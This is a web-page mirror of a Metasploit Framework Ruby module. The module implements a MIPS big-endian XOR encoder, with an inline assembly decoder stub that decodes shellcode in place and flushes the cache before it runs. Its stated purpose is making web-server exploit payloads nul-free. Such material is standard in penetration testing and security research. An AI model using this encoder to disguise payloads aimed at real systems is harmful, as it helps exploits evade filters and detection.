CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/mipsbe/longxor.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Encoder::Xor
9
10
def initialize
11
super(
12
'Name' => 'XOR Encoder',
13
'Description' => %q{
14
Mips Web server exploit friendly xor encoder
15
},
16
'Author' =>
17
[ 'Julien Tinnes <julien[at]cr0.org>', # original shellcode
18
'Pedro Ribeiro <[email protected]>', # fix Linux >= 2.6.11 and toupper() compat
19
],
20
'Arch' => ARCH_MIPSBE,
21
'License' => MSF_LICENSE,
22
'Decoder' =>
23
{
24
'KeySize' => 4,
25
'BlockSize' => 4,
26
'KeyPack' => 'N',
27
})
28
end
29
30
#
31
# Returns the decoder stub that is adjusted for the size of the buffer
32
# being encoded.
33
#
34
def decoder_stub(state)
35
36
# add one xor operation for the key (see comment below)
37
number_of_passes=state.buf.length/4+1
38
raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240
39
raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0
40
41
# 16-bits not (again, see below)
42
reg_10 = (number_of_passes+1)^0xFFFF
43
reg_5 = state.buf.length^0xFFFF
44
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
45
;
46
; MIPS nul-free xor decoder
47
;
48
; (C) 2006 Julien TINNES
49
; <julien at cr0.org>
50
;
51
; The first four bytes in encoded shellcode must be the xor key
52
; This means that you have to put the xor key right after
53
; this xor decoder
54
; This key will be considered part of the encoded shellcode
55
; by this decoder and will be xored, thus becoming 4NULs, meaning nop
56
;
57
; This is Linux-only because I use the cacheflush system call
58
;
59
; You can use shellforge to assemble this, but be sure to discard all
60
; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c)
61
;
62
; change 2 bytes in the first instruction's opcode with the number of passes
63
; the number of passes is the number of xor operations to apply, which should be
64
; 1 (for the key) + the number of 4-bytes words you have in your shellcode
65
; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free)
66
67
68
;.text
69
;.align 2
70
;.globl main
71
;.ent main
72
;.type main,@function
73
74
main:
75
76
li macro reg, imm
77
; lui reg, ((imm) >> 16) & 0ffffh
78
; ori reg, reg, (imm) & 0ffffh
79
addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff
80
endm
81
82
li( $10, #{reg_10}) ; load number of passes ^ 0xffff
83
nor $10, $10, $0 ; put number of passes in $10
84
85
li( $11,-89) ; addend to calculated PC is 73
86
;.set noreorder
87
next:
88
bltzal $8, next
89
;.set reorder
90
slti $8, $0, 0x8282
91
nor $11, $11, $0 ; addend in $9
92
addu $25, $31, $11 ; $25 points to encoded shellcode +4
93
addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below)
94
95
; lui $2, 0xDDDD ; first part of the xor (old method)
96
slti $23, $0, 0x8282 ; store 0 in $23 (our counter)
97
; ori $17, $2, 0xDDDD ; second part of the xor (old method)
98
lw $17, -4($25) ; load xor key in $17
99
100
101
li( $9, -5)
102
nor $9, $9, $0 ; 4 in $9
103
104
addi $15, $9, -3 ; 1 in $15
105
loop:
106
lw $8, -4($25)
107
108
addu $23, $23, $15 ; increment counter
109
xor $3, $8, $17
110
sltu $30, $23, $10 ; enough loops?
111
sw $3, -4($25)
112
addi $6, $9, -1 ; 3 in $6 (for cacheflush)
113
bne $0, $30, loop
114
addu $25, $25, $9 ; next instruction to decode :)
115
116
117
addiu $4, $16, -4 ; cacheflush() addr parameter
118
li( $10,#{reg_5}) ; cacheflush() nbytes parameter
119
nor $5, $10, $0 ; same as above
120
; li $6,3 ; $6 is set above, 3rd arg for cacheflush()
121
122
; .set noreorder
123
li( $2, 4147) ; cacheflush
124
; .ascii "\\x01JT\\x0c" ; nul-free syscall
125
syscall 0x52950
126
; .set reorder
127
128
129
; write last decoder opcode and decoded shellcode
130
; li $4,1 ; stdout
131
; addi $5, $16, -8
132
; li $6,40 ; how much to write
133
; .set noreorder
134
; li $2, 4004 ; write
135
; syscall
136
; .set reorder
137
138
139
nop ; encoded shellcoded must be here (xor key right here ;)
140
; $t9 (aka $25) points here
141
142
EOS
143
# put the key at the end of the decoder
144
state.decoder_key_offset = decoder.length - 4
145
146
return decoder
147
end
148
end
149
150